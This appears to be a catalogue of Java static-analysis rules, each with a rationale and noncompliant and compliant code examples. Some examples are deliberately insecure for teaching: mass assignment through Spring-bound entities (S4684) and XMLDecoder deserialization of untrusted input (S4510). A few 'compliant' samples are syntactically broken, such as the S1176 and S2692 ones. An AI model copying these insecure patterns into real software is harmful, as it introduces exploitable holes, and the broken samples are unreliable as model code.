java:S2384

Mutable objects are those whose state can be changed. For instance, an array is mutable, but a String is not. Mutable class members should never be returned to a caller or accepted and stored directly. Doing so leaves you vulnerable to unexpected changes in your class state.

Instead use an unmodifiable Collection (via Collections.unmodifiableCollection, Collections.unmodifiableList, ...) or make a copy of the mutable object, and store or return the copy instead.

This rule checks that arrays, collections and Dates are not stored or returned directly.

Noncompliant Code Example

class A {
  private String [] strings;

  public A () {
    strings = new String[]{"first", "second"};
  }

  public String [] getStrings() {
    return strings; // Noncompliant
  }

  public void setStrings(String [] strings) {
    this.strings = strings;  // Noncompliant
  }
}

public class B {

  private A a = new A();  // At this point a.strings = {"first", "second"};

  public void wreakHavoc() {
    a.getStrings()[0] = "yellow";  // a.strings = {"yellow", "second"};
  }
}

Compliant Solution

class A {
  private String [] strings;

  public A () {
    strings = new String[]{"first", "second"};
  }

  public String [] getStrings() {
    return strings.clone();
  }

  public void setStrings(String [] strings) {
    this.strings = strings.clone();
  }
}

public class B {

  private A a = new A();  // At this point a.strings = {"first", "second"};

  public void wreakHavoc() {
    a.getStrings()[0] = "yellow";  // a.strings = {"first", "second"};
  }
}

See

  • MITRE, CWE-374 - Passing Mutable Objects to an Untrusted Method
  • MITRE, CWE-375 - Returning a Mutable Object to an Untrusted Caller
  • CERT, OBJ05-J. - Do not return references to private mutable class members
  • CERT, OBJ06-J. - Defensively copy mutable inputs and mutable internal components
  • CERT, OBJ13-J. - Ensure that references to mutable objects are not exposed
java:S1175

Object.finalize() is called by the Garbage Collector at some point after the object becomes unreferenced.

In general, overloading Object.finalize() is a bad idea because:

  • The overload may not be called by the Garbage Collector.
  • Users are not expected to call Object.finalize() and will get confused.

But beyond that it's a terrible idea to name a method "finalize" if it doesn't actually override Object.finalize().

Noncompliant Code Example

public int finalize(int someParameter) {        // Noncompliant
  /* ... */
}

Compliant Solution

public int someBetterName(int someParameter) {  // Compliant
  /* ... */
}
java:S2387

Having a variable with the same name in two unrelated classes is fine, but do the same thing within a class hierarchy and you'll get confusion at best, chaos at worst.

Noncompliant Code Example

public class Fruit {
  protected Season ripe;
  protected Color flesh;

  // ...
}

public class Raspberry extends Fruit {
  private boolean ripe;  // Noncompliant
  private static Color FLESH; // Noncompliant
}

Compliant Solution

public class Fruit {
  protected Season ripe;
  protected Color flesh;

  // ...
}

public class Raspberry extends Fruit {
  private boolean ripened;
  private static Color FLESH_COLOR;

}

Exceptions

This rule ignores same-name fields that are static in both the parent and child classes. This rule ignores private parent class fields, but in all other such cases, the child class field should be renamed.

public class Fruit {
  private Season ripe;
  // ...
}

public class Raspberry extends Fruit {
  private Season ripe;  // Compliant as parent field 'ripe' is anyway not visible from Raspberry
  // ...
}
java:S1176

Try to imagine using the standard Java API (Collections, JDBC, IO, ...) without Javadoc. It would be a nightmare, because Javadoc is the only way to understand of the contract of the API. Documenting an API with Javadoc increases the productivity of the developers consuming it.

On top of a main description for each member of a public API, the following Javadoc elements are required to be described:

  • Parameters, using @param parameterName.
  • Thrown exceptions, using @throws exceptionName.
  • Method return values, using @return.
  • Generic types, using @param <T>.

Furthermore the following guidelines should be followed:

  • At least 1 line of description.
  • All parameters documented with @param, and names should match.
  • All checked exceptions documented with @throws
  • @return present and documented when not void.
  • Placeholders like "TODO", "FIXME", "..." should be avoided.

The following public methods and constructors are not taken into account by this rule:

  • Getters and setters.
  • Methods overriding another method (usually decorated with @Override).
  • Empty constructors.
  • Static constants.

For the parameters of the rule, the following rules are applied:

  • ? matches a single character
  • * matches zero or more characters
  • ** matches zero or more packages

Examples:

  • java.internal.InternalClass will match only InternalClass class.
  • java.internal.* will match any member of java.internal package.
  • java.internal.** same as above, but including sub-packages.

Noncompliant Code Example

/**
  * This is a Javadoc comment
  */
public class MyClass<T> implements Runnable {    // Noncompliant - missing '@param <T>'

  public static final DEFAULT_STATUS = 0;    // Compliant - static constant
  private int status;                           // Compliant - not public

  public String message;                  // Noncompliant

  public MyClass() {                         // Noncompliant - missing documentation
    this.status = DEFAULT_STATUS;
  }

  public void setStatus(int status) {  // Compliant - setter
    this.status = status;
  }

  @Override
  public void run() {                          // Compliant - has @Override annotation
  }

  protected void doSomething() {    // Compliant - not public
  }

  public void doSomething2(int value) {  // Noncompliant
  }

  public int doSomething3(int value) {  // Noncompliant
    return value;
  }
}

Compliant Solution

/**
  * This is a Javadoc comment
  * @param <T> the parameter of the class
  */
public class MyClass<T> implements Runnable {

  public static final DEFAULT_STATUS = 0;
  private int status;

  /**
    * This is a Javadoc comment
    */
  public String message;

  /**
   * Class comment...
   */
  public MyClass() {
    this.status = DEFAULT_STATUS;
  }

  public void setStatus(int status) {
    this.status = status;
  }

  @Override
  public void run() {
  }

  protected void doSomething() {
  }

  /**
    * Will do something.
    * @param value the value to be used
    */
  public void doSomething(int value) {

  /**
    *  {@inheritDoc}
    */
  public int doSomething(int value) {
    return value;
  }
}
java:S3355

Every filter defined in web.xml file should be used in a <filter-mapping> element. Otherwise such filters are not invoked.

Noncompliant Code Example

  <filter>
     <filter-name>DefinedNotUsed</filter-name>
     <filter-class>com.myco.servlet.ValidationFilter</filter-class>
  </filter>

Compliant Solution

  <filter>
     <filter-name>ValidationFilter</filter-name>
     <filter-class>com.myco.servlet.ValidationFilter</filter-class>
  </filter>

  <filter-mapping>
     <filter-name>ValidationFilter</filter-name>
     <url-pattern>/*</url-pattern>
  </filter-mapping>

See

java:S4684

On one side, Spring MVC automatically bind request parameters to beans declared as arguments of methods annotated with @RequestMapping. Because of this automatic binding feature, it's possible to feed some unexpected fields on the arguments of the @RequestMapping annotated methods.

On the other end, persistent objects (@Entity or @Document) are linked to the underlying database and updated automatically by a persistence framework, such as Hibernate, JPA or Spring Data MongoDB.

These two facts combined together can lead to malicious attack: if a persistent object is used as an argument of a method annotated with @RequestMapping, it's possible from a specially crafted user input, to change the content of unexpected fields into the database.

For this reason, using @Entity or @Document objects as arguments of methods annotated with @RequestMapping should be avoided.

In addition to @RequestMapping, this rule also considers the annotations introduced in Spring Framework 4.3: @GetMapping, @PostMapping, @PutMapping, @DeleteMapping, @PatchMapping.

Noncompliant Code Example

import javax.persistence.Entity;

@Entity
public class Wish {
  Long productId;
  Long quantity;
  Client client;
}

@Entity
public class Client {
  String clientId;
  String name;
  String password;
}

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class WishListController {

  @PostMapping(path = "/saveForLater")
  public String saveForLater(Wish wish) {
    session.save(wish);
  }

  @RequestMapping(path = "/saveForLater", method = RequestMethod.POST)
  public String saveForLater(Wish wish) {
    session.save(wish);
  }
}

Compliant Solution

public class WishDTO {
  Long productId;
  Long quantity;
  Long clientId;
}

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class PurchaseOrderController {

  @PostMapping(path = "/saveForLater")
  public String saveForLater(WishDTO wish) {
    Wish persistentWish = new Wish();
    // do the mapping between "wish" and "persistentWish"
    [...]
    session.save(persistentWish);
  }

  @RequestMapping(path = "/saveForLater", method = RequestMethod.POST)
  public String saveForLater(WishDTO wish) {
    Wish persistentWish = new Wish();
    // do the mapping between "wish" and "persistentWish"
    [...]
    session.save(persistentWish);
  }
}

Exceptions

No issue is reported when the parameter is annotated with @PathVariable from Spring Framework, since the lookup will be done via id, the object cannot be forged on client side.

See

java:S2386

There is no good reason to have a mutable object as the public (by default), static member of an interface. Such variables should be moved into classes and their visibility lowered.

Similarly, mutable static members of classes and enumerations which are accessed directly, rather than through getters and setters, should be protected to the degree possible. That can be done by reducing visibility or making the field final if appropriate.

Note that making a mutable field, such as an array, final will keep the variable from being reassigned, but doing so has no effect on the mutability of the internal state of the array (i.e. it doesn't accomplish the goal).

This rule raises issues for public static array, Collection, Date, and awt.Point members.

Noncompliant Code Example

public interface MyInterface {
  public static String [] strings; // Noncompliant
}

public class A {
  public static String [] strings1 = {"first","second"};  // Noncompliant
  public static String [] strings2 = {"first","second"};  // Noncompliant
  public static List<String> strings3 = new ArrayList<>();  // Noncompliant
  // ...
}

See

java:S2147

Since Java 7 it has been possible to catch multiple exceptions at once. Therefore, when multiple catch blocks have the same code, they should be combined for better readability.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 7.

Noncompliant Code Example

catch (IOException e) {
  doCleanup();
  logger.log(e);
}
catch (SQLException e) {  // Noncompliant
  doCleanup();
  logger.log(e);
}
catch (TimeoutException e) {  // Compliant; block contents are different
  doCleanup();
  throw e;
}

Compliant Solution

catch (IOException|SQLException e) {
  doCleanup();
  logger.log(e);
}
catch (TimeoutException e) {
  doCleanup();
  throw e;
}
java:S3599

Because Double Brace Initialization (DBI) creates an anonymous class with a reference to the instance of the owning object, its use can lead to memory leaks if the anonymous inner class is returned and held by other objects. Even when there's no leak, DBI is so obscure that it's bound to confuse most maintainers.

For collections, use Arrays.asList instead, or explicitly add each item directly to the collection.

Noncompliant Code Example

Map source = new HashMap(){{ // Noncompliant
    put("firstName", "John");
    put("lastName", "Smith");
}};

Compliant Solution

Map source = new HashMap();
// ...
source.put("firstName", "John");
source.put("lastName", "Smith");
// ...
java:S5778

When verifying that code raises a runtime exception, a good practice is to avoid having multiple method calls inside the tested code, to be explicit about which method call is expected to raise the exception.

It increases the clarity of the test, and avoid incorrect testing when another method is actually raising the exception.

Noncompliant Code Example

@Test
public void testToString() {
  // Do you expect get() or toString() throwing the exception?
  org.junit.Assert.assertThrows(IndexOutOfBoundsException.class, () -> get().toString());
}

@Test
public void testToStringTryCatchIdiom() {
  try {
    // Do you expect get() or toString() throwing the exception?
    get().toString();
    Assert.fail("Expected an IndexOutOfBoundsException to be thrown");
  } catch (IndexOutOfBoundsException e) {
    // Test exception message...
  }
}

Compliant Solution

@Test
public void testToString() {
   Object obj = get();
   Assert.assertThrows(IndexOutOfBoundsException.class, () -> obj.toString());
}

@Test
public void testToStringTryCatchIdiom() {
  Object obj = get();
  try {
    obj.toString();
    Assert.fail("Expected an IndexOutOfBoundsException to be thrown");
  } catch (IndexOutOfBoundsException e) {
    // Test exception message...
  }
}

See

java:S2388

When an inner class extends another class, and both its outer class and its parent class have a method with the same name, calls to that method can be confusing. The compiler will resolve the call to the superclass method, but maintainers may be confused, so the superclass method should be called explicitly, using super..

Noncompliant Code Example

public class Parent {
  public void foo() { ... }
}

public class Outer {

  public void foo() { ... }

  public class Inner extends Parent {

    public void doTheThing() {
      foo();  // Noncompliant; was Outer.this.foo() intended instead?
      // ...
    }
  }
}

Compliant Solution

public class Parent {
  public void foo() { ... }
}

public class Outer {

  public void foo() { ... }

  public class Inner extends Parent {

    public void doTheThing() {
      super.foo();
      // ...
    }
  }
}
java:S5779

Assertion methods are throwing a "java.lang.AssertionError". If this call is done within the try block of a try-catch cathing a similar error, you should make sure to test some properties of the exception. Otherwise, the assertion will never fail.

Noncompliant Code Example

@Test
public void should_throw_assertion_error() {
  try {
    throwAssertionError();
    Assert.fail("Expected an AssertionError!"); // Noncompliant, the AssertionError will be caught and the test will never fail.
  } catch (AssertionError e) {}
}

private void throwAssertionError() {
  throw new AssertionError("My assertion error");
}

Compliant Solution

assertThrows(AssertionError.class, () -> throwAssertionError());
try {
   throwAssertionError();
   Assert.fail("Expected an AssertionError!"); // Compliant, we made sure to test that the correct error is raised
 } catch (AssertionError e) {
   Assert.assertThat(e.getMessage(), is("My assertion error"));
 }

See

java:S5413

When List.remove() is called it will shrink the list. If this is done inside the ascending loop iterating through all elements it will skip the element after the removed index.

Noncompliant Code Example

void removeFrom(List<String> list) {
  // expected: iterate over all the elements of the list
  for (int i = 0; i < list.size(); i++) {
    if (list.get(i).isEmpty()) {
      // actual: remaining elements are shifted, so the one immediately following will be skipped
      list.remove(i); // Noncompliant
    }
  }
}

Compliant Solution

You can either adjust the loop index to account for the change in the size of the list

static void removeFrom(List<String> list) {
    // expected: iterate over all the elements of the list
    for (int i = 0; i < list.size(); i++) {
      if (list.get(i).isEmpty()) {
        // actual: remaining elements are shifted, so the one immediately following will be skipped
        list.remove(i);
        i--;
      }
    }
  }

Or preferably it's probably better to rely on Java 8's removeIf method

 static void removeFrom(List<String> list) {
    list.removeIf(String::isEmpty);
  }

 

Exceptions

The descending loop doesn't have this issue, because the index will be correct when we loop in descending order

void removeFrom(List<String> list) {
  for (int i = list.size() - 1; i >= 0; i--) {
    if (list.get(i).isEmpty()) {
      list.remove(i);
    }
  }
}

 

java:S5776

When testing exception via org.junit.rules.ExpectedException any code after the raised exception will not be executed, so adding subsequent assertions is wrong and misleading. This rule raises an issue when an assertion is done after the "expect(...)" invocation, only the code throwing the expected exception should be after "expect(...)".

You should consider using org.junit.Assert.assertThrows instead, it's available since JUnit 4.13 and it allows additional subsequent assertions.

Alternatively, you could use try-catch idiom for JUnit version < 4.13 or if your project does not support lambdas.

Noncompliant Code Example

@Rule
public ExpectedException thrown = ExpectedException.none();

@Test
public void test() throws IndexOutOfBoundsException {
  thrown.expect(IndexOutOfBoundsException.class); // Noncompliant
  Object o = get();
  // This test pass since execution will never get past this line.
  Assert.assertEquals(0, 1);
}

private Object get() {
  throw new IndexOutOfBoundsException();
}

Compliant Solution

Assert.assertThrows(IndexOutOfBoundsException.class, () -> get());
// This test correctly fails.
Assert.assertEquals(0, 1);
try {
  get();
  Assert.fail("Expected an IndexOutOfBoundsException to be thrown");
} catch (IndexOutOfBoundsException e) {}
Assert.assertEquals(0, 1); // Correctly fails.

See

java:S3358

Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing.

Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement.

Noncompliant Code Example

public String getReadableStatus(Job j) {
  return j.isRunning() ? "Running" : j.hasErrors() ? "Failed" : "Succeeded";  // Noncompliant
}

Compliant Solution

public String getReadableStatus(Job j) {
  if (j.isRunning()) {
    return "Running";
  }
  return j.hasErrors() ? "Failed" : "Succeeded";
}
java:S2148

Beginning with Java 7, it is possible to add underscores ('_') to numeric literals to enhance readability. The addition of underscores in this manner has no semantic meaning, but makes it easier for maintainers to understand the code.

The number of digits to the left of a decimal point needed to trigger this rule varies by base.

Base Minimum digits
binary 9
octal 9
decimal 6
hexadecimal 9

It is only the presence of underscores, not their spacing that is scrutinized by this rule.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 7.

Noncompliant Code Example

int i = 10000000;  // Noncompliant; is this 10 million or 100 million?
int  j = 0b01101001010011011110010101011110;  // Noncompliant
long l = 0x7fffffffffffffffL;  // Noncompliant

Compliant Solution

int i = 10_000_000;
int  j = 0b01101001_01001101_11100101_01011110;
long l = 0x7fff_ffff_ffff_ffffL;
java:S5777

When testing exception via @Test annotation, having additional assertions inside that test method can be problematic because any code after the raised exception will not be executed. It will prevent you to test the state of the program after the raised exception and, at worst, make you misleadingly think that it is executed.

You should consider moving any assertions into a separate test method where possible, or using org.junit.Assert.assertThrows instead.

Alternatively, you could use try-catch idiom for JUnit version < 4.13 or if your project does not support lambdas.

Noncompliant Code Example

@Test(expected = IndexOutOfBoundsException.class)
public void testShouldFail() {
  get();
  // This test pass since execution will never get past this line.
  Assert.assertEquals(0, 1);
}

private Object get() {
  throw new IndexOutOfBoundsException();
}

Compliant Solution

// This test correctly fails.
@Test
public void testToString() {
    Object obj = get();
    Assert.assertThrows(IndexOutOfBoundsException.class, () -> obj.toString());
    Assert.assertEquals(0, 1);
}
@Test
public void testShouldFail() {
    Object obj = get();
    try {
        obj.toString();
        Assert.fail("Expected an IndexOutOfBoundsException to be thrown");
    } catch (IndexOutOfBoundsException e) {}
    Assert.assertEquals(0, 1); // Correctly fails.
}

See

java:S1481

If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for.

Noncompliant Code Example

public int numberOfMinutes(int hours) {
  int seconds = 0;   // seconds is never used
  return hours * 60;
}

Compliant Solution

public int numberOfMinutes(int hours) {
  return hours * 60;
}
java:S3306

Field injection seems like a tidy way to get your classes what they need to do their jobs, but it's really a NullPointerException waiting to happen unless all your class constructors are private. That's because any class instances that are constructed by callers, rather than instantiated by a Dependency Injection framework compliant with the JSR-330 (Spring, Guice, ...), won't have the ability to perform the field injection.

Instead @Inject should be moved to the constructor and the fields required as constructor parameters.

This rule raises an issue when classes with non-private constructors (including the default constructor) use field injection.

Noncompliant Code Example

class MyComponent {  // Anyone can call the default constructor

  @Inject MyCollaborator collaborator;  // Noncompliant

  public void myBusinessMethod() {
    collaborator.doSomething();  // this will fail in classes new-ed by a caller
  }
}

Compliant Solution

class MyComponent {

  private final MyCollaborator collaborator;

  @Inject
  public MyComponent(MyCollaborator collaborator) {
    Assert.notNull(collaborator, "MyCollaborator must not be null!");
    this.collaborator = collaborator;
  }

  public void myBusinessMethod() {
    collaborator.doSomething();
  }
}
java:S4517

According to the Java documentation, any implementation of the InputSteam.read() method is supposed to read the next byte of data from the input stream. The value byte must be an int in the range 0 to 255. If no byte is available because the end of the stream has been reached, the value -1 is returned.

But in Java, the byte primitive data type is an 8-bit signed two's complement integer. It has a minimum value of -128 and a maximum value of 127. So by contract, the implementation of an InputSteam.read() method should never directly return a byte primitive data type. A conversion into an unsigned byte must be done before by applying a bitmask.

Noncompliant Code Example

@Override
public int read() throws IOException {
  if (pos == buffer.length()) {
    return -1;
  }
  return buffer.getByte(pos++); // Noncompliant, a signed byte value is returned
}

Compliant Solution

@Override
public int read() throws IOException {
  if (pos == buffer.length()) {
    return -1;
  }
  return buffer.getByte(pos++) & 0xFF; // The 0xFF bitmask is applied
}
java:S5969

If you end up mocking every non-private method of a class in order to write tests, it is a strong sign that your test became too complex, or that you misunderstood the way you are supposed to use the mocking mechanism.

You should either refactor the test code into multiple units, or consider using the class itself, by either directly instantiating it, or creating a new one inheriting from it, with the expected behavior.

This rule reports an issue when every member of a given class are mocked.

Noncompliant Code Example

@Test
void test_requiring_MyClass() {
  MyClass myClassMock = mock(MyClass.class); // Noncompliant
  when(myClassMock.f()).thenReturn(1);
  when(myClassMock.g()).thenReturn(2);
  //...
}

abstract class MyClass {
  abstract int f();
  abstract int g();
}

Compliant Solution

@Test
void test_requiring_MyClass() {
  MyClass myClass = new MyClassForTest();
  //...
}

class MyClassForTest extends MyClass {

  @Override
  int f() {
    return 1;
  }

  @Override
  int g() {
    return 2;
  }
}

or

@Test
void test_requiring_f() {
  MyClass myClassMock = mock(MyClass.class);
  when(myClassMock.f()).thenReturn(1);
  //...
}

@Test
void test_requiring_g() {
  MyClass myClassMock = mock(MyClass.class);
  when(myClassMock.g()).thenReturn(2);
  //...
}

abstract class MyClass {
  abstract int f();
  abstract int g();
}
java:S3305

When @Autowired is used, dependencies need to be resolved when the class is instantiated, which may cause early initialization of beans or lead the context to look in places it shouldn't to find the bean. To avoid this tricky issue and optimize the way the context loads, dependencies should be requested as late as possible. That means using parameter injection instead of field injection for dependencies that are only used in a single @Bean method.

Noncompliant Code Example

@Configuration
public class ​FooConfiguration {

  @Autowired private ​DataSource dataSource​;  // Noncompliant

  @Bean
  public ​MyService myService() {
    return new ​MyService(this​.dataSource​);
  }
}

Compliant Solution

@Configuration
public class ​FooConfiguration {

 @Bean
  public ​MyService myService(DataSource dataSource) {
    return new ​MyService(dataSource);
  }
}

Exceptions

Fields used in methods that are called directly by other methods in the application (as opposed to being invoked automatically by the Spring framework) are ignored by this rule so that direct callers don't have to provide the dependencies themselves.

java:S1128

The imports part of a file should be handled by the Integrated Development Environment (IDE), not manually by the developer.

Unused and useless imports should not occur if that is the case.

Leaving them in reduces the code's readability, since their presence can be confusing.

Noncompliant Code Example

package my.company;

import java.lang.String;        // Noncompliant; java.lang classes are always implicitly imported
import my.company.SomeClass;    // Noncompliant; same-package files are always implicitly imported
import java.io.File;            // Noncompliant; File is not used

import my.company2.SomeType;
import my.company2.SomeType;    // Noncompliant; 'SomeType' is already imported

class ExampleClass {

  public String someString;
  public SomeType something;

}

Exceptions

Imports for types mentioned in comments, such as Javadocs, are ignored.

java:S5846

One way to test for empty lines is to use the regex "^$", which can be extremely handy when filtering out empty lines from collections of Strings, for instance. With regard to this, the Javadoc for Pattern (Line Terminators) states the following:

By default, the regular expressions ^ and $ ignore line terminators and only match at the beginning and the end, respectively, of the entire input sequence. If MULTILINE mode is activated then ^ matches at the beginning of input and after any line terminator except at the end of input. When in MULTILINE mode $ matches just before a line terminator or the end of the input sequence.

As emphasized, ^ is not going to match at the end of an input, and the end of the input is necessarily included in the empty string, which might lead to completely missing empty lines, while it would be the initial reason for using such regex.

Therefore, when searching for empty lines using a multi-line regular expression, you should also check whether the string is empty.

This rule is raising an issue every time a pattern that can match the empty string is used with MULTILINE flag and without calling isEmpty() on the string.

Noncompliant Code Example

static final Pattern p = Pattern.compile("^$", Pattern.MULTILINE); // Noncompliant

// Alternatively
static final Pattern p = Pattern.compile("(?m)^$"); // Noncompliant


boolean containsEmptyLines(String str) {
    return p.matcher(str).find();
}

// ...
System.out.println(containsEmptyLines("a\n\nb")); // correctly prints 'true'
System.out.println(containsEmptyLines("")); // incorrectly prints 'false'

Compliant Solution

static final Pattern p = Pattern.compile("^$", Pattern.MULTILINE);

boolean containsEmptyLines(String str) {
    return p.matcher(str).find() || str.isEmpty();
}

// ...
System.out.println(containsEmptyLines("a\n\nb")); // correctly prints 'true'
System.out.println(containsEmptyLines("")); // also correctly prints 'true'
java:S5967

Annotating unit tests with more than one test-related annotation is not only useless but could also result in unexpected behavior like failing tests or unwanted side-effects.

This rule reports an issue when a test method is annotated with more than one of the following competing annotation:

  • @Test
  • @RepeatedTest
  • @ParameterizedTest
  • @TestFactory
  • @TestTemplate

Noncompliant Code Example

@Test
@RepeatedTest(2) // Noncompliant, this test will be repeated 3 times
void test() { }

@ParameterizedTest
@Test
@MethodSource("methodSource")
void test2(int argument) { } // Noncompliant, this test will fail with ParameterResolutionException

Compliant Solution

@RepeatedTest(2)
void test() { }

@ParameterizedTest
@MethodSource("methodSource")
void test2(int argument) { }
java:S5840

Using certain features of regular expressions, it is possible to create regular expressions that can never match or contain subpatterns that can never match. Since a pattern or sub-pattern that can never match any input is pointless, this is a sign that the pattern does not work as intended and needs to be fixed.

This rule finds some such regular expressions and subpatterns, specifically ones that meet one of the following conditions:

  • Beginning- and end-of-line/input boundaries appearing in a position where they can never match (e.g. an end-of-input marker being followed by other characters)
  • A back reference refers to a capturing group that will never be matched before the back reference

Noncompliant Code Example

Boundaries

$[a-z]*^

Backreference

\1(.)

Compliant Solution

Boundaries

^[a-z]*$

Backreference

(.)\1
java:S2693

The problem with invoking Thread.start() in a constructor is that you'll have a confusing mess on your hands if the class is ever extended because the superclass' constructor will start the thread before the child class has truly been initialized.

This rule raises an issue any time start is invoked in the constructor of a non-final class.

Noncompliant Code Example

public class MyClass {

  Thread thread = null;

  public MyClass(Runnable runnable) {
    thread = new Thread(runnable);
    thread.start(); // Noncompliant
  }
}

See

  • CERT, TSM02-J. - Do not use background threads during class initialization
java:S5961

A common good practice is to write test methods targeting only one logical concept, that can only fail for one reason.

While it might make sense to have more than one assertion to test one concept, having too many is a sign that a test became too complex and should be refactored to multiples ones.

This rule will report any test method containing more than a given number of assertion.

Noncompliant Code Example

With a parameter of 2.

@Test
void test() { // Refactor this method.
  assertEquals(1, f(1));
  assertEquals(2, f(2));
  assertEquals(3, g(1));
}

Compliant Solution

void test_f() {
  assertEquals(1, f(1));
  assertEquals(2, f(2));
}
void test_g() {
  assertEquals(3, g(1));
}
java:S1120

Proper indentation is a simple and effective way to improve the code's readability. Consistent indentation among the developers within a team also reduces the differences that are committed to source control systems, making code reviews easier.

This rule raises an issue when indentation does not match the configured value. Only the first line of a badly indented section is reported.

Noncompliant Code Example

With an indent size of 2:

class Foo {
  public int a;
   public int b;   // Noncompliant, expected to start at column 4

...

  public void doSomething() {
    if(something) {
          doSomethingElse();  // Noncompliant, expected to start at column 6
  }   // Noncompliant, expected to start at column 4
  }
}

Compliant Solution

class Foo {
  public int a;
  public int b;

...

  public void doSomething() {
    if(something) {
        doSomethingElse();
    }
  }
}
java:S2692

Most checks against an indexOf value compare it with -1 because 0 is a valid index. Any checks which look for values >0 ignore the first element, which is likely a bug. If the intent is merely to check inclusion of a value in a String or a List, consider using the contains method instead.

This rule raises an issue when an indexOf value retrieved either from a String or a List is tested against >0.

Noncompliant Code Example

String color = "blue";
String name = "ishmael";

List<String> strings = new ArrayList<String> ();
strings.add(color);
strings.add(name);

if (strings.indexOf(color) > 0) {  // Noncompliant
  // ...
}
if (name.indexOf("ish") > 0) { // Noncompliant
  // ...
}
if (name.indexOf("ae") > 0) { // Noncompliant
  // ...
}

Compliant Solution

String color = "blue";
String name = "ishmael";

List<String> strings = new ArrayList<String> ();
strings.add(color);
strings.add(name);

if (strings.indexOf(color) > -1) {
  // ...
}
if (name.indexOf("ish") >= 0) {
  // ...
}
if (name.contains("ae") {
  // ...
}
java:S4510

Deserialization from an untrusted source using the XMLDecoder library can lead to unexpected code execution. For example, it has led in the past to the following vulnerability:

XMLDecoder supports arbitrary method invocation. This capability is intended to call setter methods only but nothing prevents the execution of any other method.

This rule raises an issue when XMLDecoder is instantiated. The call to "readObject" is also highlighted to show where the malicious code can be executed.

Ask Yourself Whether

  • the XML input can come from an untrusted source and be tainted by a hacker. (*)
  • you require the advanced functionalities provided by the XMLDecoder class. If you simply need to deserialize XML you can use a more secure deserialization function.

(*) You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

If you only need a simple deserialization, use instead one of the deserialization libraries recommended by OWASP.

If you really need to use XMLDecoder, make sure that the serialized data cannot be tampered with.

Sensitive Code Example

public void decode(InputStream in) {
  XMLDecoder d = new XMLDecoder(in); // Sensitive
  Object result = d.readObject();
  [...]
  d.close();
}

See

Deprecated

This rule is deprecated, and will eventually be removed.

java:S5841

AssertJ assertions allMatch and doesNotContains on an empty list always returns true whatever the content of the predicate. Despite being correct, you should make explicit if you expect an empty list or not, by adding isEmpty()/isNotEmpty() in addition to calling the assertion, or by testing the list's content further. It will justify the useless predicate to improve clarity or increase the reliability of the test.

This rule raises an issue when any of the methods listed are used without asserting that the list is empty or not and without testing the content.

Targetted methods:

  • allMatch
  • allSatisfy
  • doesNotContain
  • doesNotContainSequence
  • doesNotContainSubsequence
  • doesNotContainAnyElementsOf

Noncompliant Code Example

List<String> logs = getLogs();

assertThat(logs).allMatch(e -> e.contains(“error”)); // Noncompliant, this test pass if logs are empty!
assertThat(logs).doesNotContain("error"); // Noncompliant, do you expect any log?

Compliant Solution

List<String> logs = getLogs();

assertThat(logs).isNotEmpty().allMatch(e -> e.contains(“error”));
// Or
assertThat(logs).hasSize(5).allMatch(e -> e.contains(“error”));
// Or
assertThat(logs).isEmpty();

// Despite being redundant, this is also acceptable since it explains why you expect an empty list
assertThat(logs).doesNotContain("error").isEmpty();
// or test the content of the list further
assertThat(logs).contains("warning").doesNotContain("error");
java:S1121

Assignments within sub-expressions are hard to spot and therefore make the code less readable. Ideally, sub-expressions should not have side-effects.

Noncompliant Code Example

if ((str = cont.substring(pos1, pos2)).isEmpty()) {  // Noncompliant
  //...

Compliant Solution

str = cont.substring(pos1, pos2);
if (str.isEmpty()) {
  //...

Exceptions

Assignments in while statement conditions, and assignments enclosed in relational expressions are ignored.

BufferedReader br = new BufferedReader(/* ... */);
String line;
while ((line = br.readLine()) != null) {...}

Chained assignments, including compound assignments, are ignored.

int i = j = 0;
int k = (j += 1);
result = (bresult = new byte[len]);

See

java:S2211

Shared coding conventions allow teams to collaborate effectively. While types for lambda arguments are optional, specifying them anyway makes the code clearer and easier to read.

Noncompliant Code Example

Arrays.sort(rosterAsArray,
    (a, b) -> {  // Noncompliant
        return a.getBirthday().compareTo(b.getBirthday());
    }
);

Compliant Solution

Arrays.sort(rosterAsArray,
    (Person a, Person b) -> {
        return a.getBirthday().compareTo(b.getBirthday());
    }
);

Exceptions

When the lambda has one or two parameters and does not have a block this rule will not fire up an issue as things are considered more readable in those cases.

stream.map((a, b) -> a.length); // compliant
java:S2695

The parameters in a PreparedStatement are numbered from 1, not 0, so using any "set" method of a PreparedStatement with a number less than 1 is a bug, as is using an index higher than the number of parameters. Similarly, ResultSet indices also start at 1, rather than 0

Noncompliant Code Example

PreparedStatement ps = con.prepareStatement("SELECT fname, lname FROM employees where hireDate > ? and salary < ?");
ps.setDate(0, date);  // Noncompliant
ps.setDouble(3, salary);  // Noncompliant

ResultSet rs = ps.executeQuery();
while (rs.next()) {
  String fname = rs.getString(0);  // Noncompliant
  // ...
}

Compliant Solution

PreparedStatement ps = con.prepareStatement("SELECT fname, lname FROM employees where hireDate > ? and salary < ?");
ps.setDate(1, date);
ps.setDouble(2, salary);

ResultSet rs = ps.executeQuery();
while (rs.next()) {
  String fname = rs.getString(1);
  // ...
}
java:S3421

Deprecated features are those that have been retained temporarily for backward compatibility, but which will eventually be removed. In effect, deprecation announces a grace period to allow the smooth transition from the old features to the new ones. In that period, no use of the deprecated features should be added, and all existing uses should be gradually removed.

This rule raises an issue when ${pom.*} properties are used in a pom.

Noncompliant Code Example

  <build>
    <finalName>${pom.artifactId}-${pom.version}</finalName>  <!-- Noncompliant -->

Compliant Solution

  <build>
    <finalName>${project.artifactId}-${project.version}</finalName>

or

  <build>
    <finalName>${artifactId}-${version}</finalName>
java:S5960

Assertions are intended to be used in test code, but not in production code. It is confusing, and might lead to ClassNotFoundException when the build tools only provide the required dependency in test scope.

In addition, assertions will throw a sub-class of Error: AssertionError, which should be avoided in production code.

This rule raises an issue when any assertion intended to be used in test is used in production code.

Supported frameworks:

  • JUnit
  • FestAssert
  • AssertJ

Note: this does not apply for assert from Java itself or if the source code package name is related to tests (contains: test or assert or junit).

java:S2694

